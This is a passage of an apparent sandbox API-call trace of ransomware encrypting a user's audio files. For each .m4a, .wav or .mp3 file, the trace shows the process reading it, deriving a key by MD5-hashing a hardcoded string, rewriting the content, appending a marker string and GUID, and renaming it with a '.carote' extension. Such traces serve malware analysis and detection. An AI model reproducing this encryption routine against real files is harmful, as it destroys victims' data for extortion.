lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.029] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.029] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x133e3, lpOverlapped=0x0) returned 1 [0113.030] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.030] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.030] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.030] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.031] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.031] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.031] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.031] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.031] GetLastError () returned 0x0 [0113.031] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.031] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x133e0) returned 0x7b182e0 [0113.031] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.032] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x133de, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x133de, lpOverlapped=0x0) returned 1 [0113.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.032] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x133e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.032] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.032] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.032] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.032] CloseHandle (hObject=0x61c) returned 1 [0113.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.033] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\D4M5dRYR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\d4m5dryr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\D4M5dRYR.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\d4m5dryr.m4a.carote")) returned 1 [0113.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.034] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19d5160, ftCreationTime.dwHighDateTime=0x1d4c8b5, ftLastAccessTime.dwLowDateTime=0xf95885e0, ftLastAccessTime.dwHighDateTime=0x1d4c6dc, ftLastWriteTime.dwLowDateTime=0xf95885e0, ftLastWriteTime.dwHighDateTime=0x1d4c6dc, nFileSizeHigh=0x0, nFileSizeLow=0x3a6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dpyHTp8b6ly3NNoN.wav", cAlternateFileName="DPYHTP~1.WAV")) returned 1 [0113.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.035] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\dpyHTp8b6ly3NNoN.wav") returned=".wav" [0113.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\dpyHTp8b6ly3NNoN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\dpyhtp8b6ly3nnon.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.037] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=14956) returned 1 [0113.037] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.039] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3a46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.039] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.040] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.040] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3a6c, lpOverlapped=0x0) returned 1 [0113.041] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.041] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.041] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.041] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.042] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.042] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.042] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.042] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.042] GetLastError () returned 0x0 [0113.042] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.042] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x3a70) returned 0x7b182e0 [0113.042] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.042] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x3a67, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x3a67, lpOverlapped=0x0) returned 1 [0113.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.042] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3a6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.043] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.043] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.043] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.043] CloseHandle (hObject=0x61c) returned 1 [0113.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\dpyHTp8b6ly3NNoN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\dpyhtp8b6ly3nnon.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\dpyHTp8b6ly3NNoN.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\dpyhtp8b6ly3nnon.wav.carote")) returned 1 [0113.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.044] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.045] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.045] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9098b440, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xfc6a1c0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0xfc6a1c0, ftLastWriteTime.dwHighDateTime=0x1d4d305, nFileSizeHigh=0x0, nFileSizeLow=0xd9d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fn9ntm9P.mp3", cAlternateFileName="")) returned 1 [0113.045] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.045] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.045] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.045] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\Fn9ntm9P.mp3") returned=".mp3" [0113.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\Fn9ntm9P.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\fn9ntm9p.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.046] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=55763) returned 1 [0113.046] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.048] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd9ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.048] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.049] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.049] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.049] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.049] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xd9d3, lpOverlapped=0x0) returned 1 [0113.050] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.050] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.050] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.050] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.050] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.051] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.051] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.051] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.051] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.051] GetLastError () returned 0x0 [0113.051] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.051] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.051] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd9d0) returned 0x7b182e0 [0113.052] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.052] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.052] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xd9ce, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xd9ce, lpOverlapped=0x0) returned 1 [0113.052] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.052] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd9d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.052] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.052] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.052] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.052] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.052] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.052] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.052] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.052] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.052] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.052] CloseHandle (hObject=0x61c) returned 1 [0113.053] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.053] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.053] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\Fn9ntm9P.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\fn9ntm9p.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\Fn9ntm9P.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\fn9ntm9p.mp3.carote")) returned 1 [0113.054] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.054] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.055] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.055] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46687c50, ftCreationTime.dwHighDateTime=0x1d4c818, ftLastAccessTime.dwLowDateTime=0xe65ef980, ftLastAccessTime.dwHighDateTime=0x1d4d0bc, ftLastWriteTime.dwLowDateTime=0xe65ef980, ftLastWriteTime.dwHighDateTime=0x1d4d0bc, nFileSizeHigh=0x0, nFileSizeLow=0x10e99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kaUGY_Ao.wav", cAlternateFileName="")) returned 1 [0113.055] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.055] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.055] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.055] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\kaUGY_Ao.wav") returned=".wav" [0113.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\kaUGY_Ao.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\kaugy_ao.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.055] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=69273) returned 1 [0113.055] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.057] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.057] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.059] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.059] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.059] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.059] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x10e99, lpOverlapped=0x0) returned 1 [0113.059] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.059] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.060] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.060] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.060] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.060] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.060] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.060] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.060] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 